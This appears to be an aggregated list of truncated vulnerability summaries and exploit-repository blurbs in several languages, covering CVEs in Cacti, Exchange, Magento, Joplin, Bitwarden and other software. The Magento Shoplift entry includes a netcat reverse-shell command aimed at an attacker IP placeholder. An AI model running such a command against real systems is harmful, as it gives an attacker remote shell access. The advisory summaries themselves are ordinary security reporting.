CVE-2020-8813

CVE-2020-8813 El exploit oficial para la ejecución remota de código en Cacti v1.2.8 CVE-2020-8813 Cacti v1.2.8 Ejecución Remota de Código Pre-Autenticación Cacti v1.2.8 Ejecución Remota de Código Post-Autenticación...

Crater-CVE-2023-46865-RCE

Crater-CVE-2023-46865-RCE Crater =6.0.6, CVE-2023-46865 Post-Auth RCE Superadmin Vulnerability Description Crater Invoice is vulnerable to unrestricted file upload with dangerous type due to lack of proper input validation. The Base64Mime checking class can be bypassed by embedding a valid PHP...

CVE-2023-20209

Empecé a investigar Cisco Expressway después de notar bastantes instancias en internet durante ejercicios de Red Team, pero nunca tuve tiempo durante el trabajo para explorar el producto más a fondo. Al principio buscaba un bypass de autenticación para encadenarlo hacia un RCE, pero se me acabó e...

CVE-2022-41082-POC

CVE-2022-41082-POC PoC para la vulnerabilidad CVE-2022-41082 NotProxyShell OWASSRF que afecta a los servidores Microsoft Exchange Se trata de un RCE posterior a la autenticación para ProxyNotShell OWASSRF, se necesitan credenciales válidas para la ejecución de comandos. Se agregó el script PoC de...

OWASSRF-CVE-2022-41082-POC

CVE-2022-41082-POC 针对影响 Microsoft Exchange 服务器的 CVE-2022-41082 NotProxyShell OWASSRF 漏洞的 PoC 这是 ProxyNotShell OWASSRF 的认证后 RCE，需要有效的凭据才能执行命令。 添加了用于 TabShell 漏洞（CVE-2022-41076）的 Powershell PoC 脚本 TabShell 漏洞是一种权限提升形式，允许在通过 OWASSRF 成功获得访问权限后突破受限的 Powershell 沙盒。 受影响版本 Exchange 2013、16、19 直到...

CVE-2019-20224

CVE-2019-20224 El exploit oficial para Pandora v7.0NG Ejecución remota de código post-autenticación CVE-2019-20224...

CVE-2026-105783

Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.13, when Joplin Desktop is running with the opt-in Web Clipper server enabled, the server in packages/lib/ClipperServer.ts sends Access-Control-Allow-Origin: and allows an...

CVE-2026-105783 Joplin Web Clipper pairing allows cross-origin theft of a permanent API token

Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.13, when Joplin Desktop is running with the opt-in Web Clipper server enabled, the server in packages/lib/ClipperServer.ts sends Access-Control-Allow-Origin: and allows an...

CVE-2026-105783

The Joplin note-taking application (prior to version 3.7.13 ) is vulnerable to cross-origin theft of a permanent API token when the optional Web Clipper server is enabled. The root cause is located in packages/lib/ClipperServer.ts, where the server sends Access-Control-Allow-Origin: * and fails t...

CVE-2026-105783 Joplin Web Clipper pairing allows cross-origin theft of a permanent API token

Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.13, when Joplin Desktop is running with the opt-in Web Clipper server enabled, the server in packages/lib/ClipperServer.ts sends Access-Control-Allow-Origin: and allows an...

CVE-2015-1397-Magento-Shoplift

CVE-2015-1397-Magento-Shoplift 漏洞详情 漏洞出现在 HackTheBox 的 SwagShop 中 阶段 1 = exploit.py 获取 Magento CMS 管理后台的管理员凭据 阶段 2 = postauth.py 将 exploit.py 获取的凭据添加到 postauth.py 后，运行： python3 postauth.py http://TARGET.SITE/index.php/admin "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc YOURIP 4444 /tmp/f"...

CVE-2019-11539

CVE-2019-11539 原始发现者：Orange Tsai, Meh Chang 作者：Justin Wagner, Alyssa Herrera 致谢：Orange, Meh Chang, Rich Warren, Alyssa, Mimir 漏洞描述 在 Pulse Secure Pulse Connect Secure 版本 9.0RX（9.0R3.4 之前）、8.3RX（8.3R7.1 之前）、8.2RX（8.2R12.1 之前）和 8.1RX（8.1R15.1 之前），以及 Pulse Policy Secure 版本 9.0RX（9.0R3.2...

CVE-2026-73489 Russh: Post-auth remote panic via pty-req with more than 130 terminal-mode records

Russh is a Rust SSH client & server library. Prior to 0.62.4, an authenticated SSH client can cause a denial of service by sending a pty-req channel request with more than 130 terminal-mode records. The parser in russh/src/server/encrypted.rs stores terminal modes in a fixed 130-entry...

EUVD-2026-55962

The Device Configuration Framework is vulnerable to an authentication bypass flaw. This flaw can only be exploited after authenticating with a viewer-privileged service account...

CVE-2026-72605: Missing Authentication for Critical Function

A missing authentication vulnerability in Swing Music 3.0.0 allows unauthenticated remote attackers to create arbitrary user accounts via the POST /auth/profile/create endpoint. The endpoint is allowlisted from JWT verification, permitting unauthenticated account creation. An attacker can registe...

GHSA-8WC8-HF36-MJH9 File Browser: ScopedFs follows a dangling symlink on write, letting a scoped user create files outside their scope

Summary ScopedFs confines every File Browser user to a scope directory. Its within guard is meant to reject any operation that follows a symbolic link out of that scope. When the link target does not exist yet, the guard walks up to the nearest existing ancestor and validates that instead. For a...

CVE-2026-60104: Authorization Bypass Through User-Controlled Key

Bitwarden Server before 2026.6.0 does not verify that the email in a POST /auth-requests/admin-request body belongs to the authenticated caller, allowing a low-privileged organization member to obtain another user's vault key and a victim-scoped access token by creating a Trusted Device Encryptio...

CVE-2026-7829 UltraVNC repeater authenticated out-of-bounds write in rule parser via oversized token

UltraVNC repeater through 1.8.2.2 contains a post-authentication out-of-bounds write in the allow/deny rule parser. In repeater/webgui/settings.c:225-272, after strncpys copies a rule token into temp1rule1 25-byte destination or temp2/temp3 16-byte destination, the code unconditionally writes a N...

JetBrains TeamCity <= 2025.11.4 Privilege Escalation (CVE-2026-44413)

The version of JetBrains TeamCity installed on the remote host is 2025.11.4 or prior. It is, therefore, affected by a post-authentication privilege escalation vulnerability that may allow any authenticated user, including standard or guest accounts, to expose some parts of the TeamCity server API...

EUVD-2026-23519

xrdp is an open source RDP server. Versions through 0.10.5 have a heap-based buffer overflow in the EGFX graphics dynamic virtual channel implementation due to insufficient validation of client-controlled size parameters, allowing an out-of-bounds write via crafted PDUs. Pre-authentication...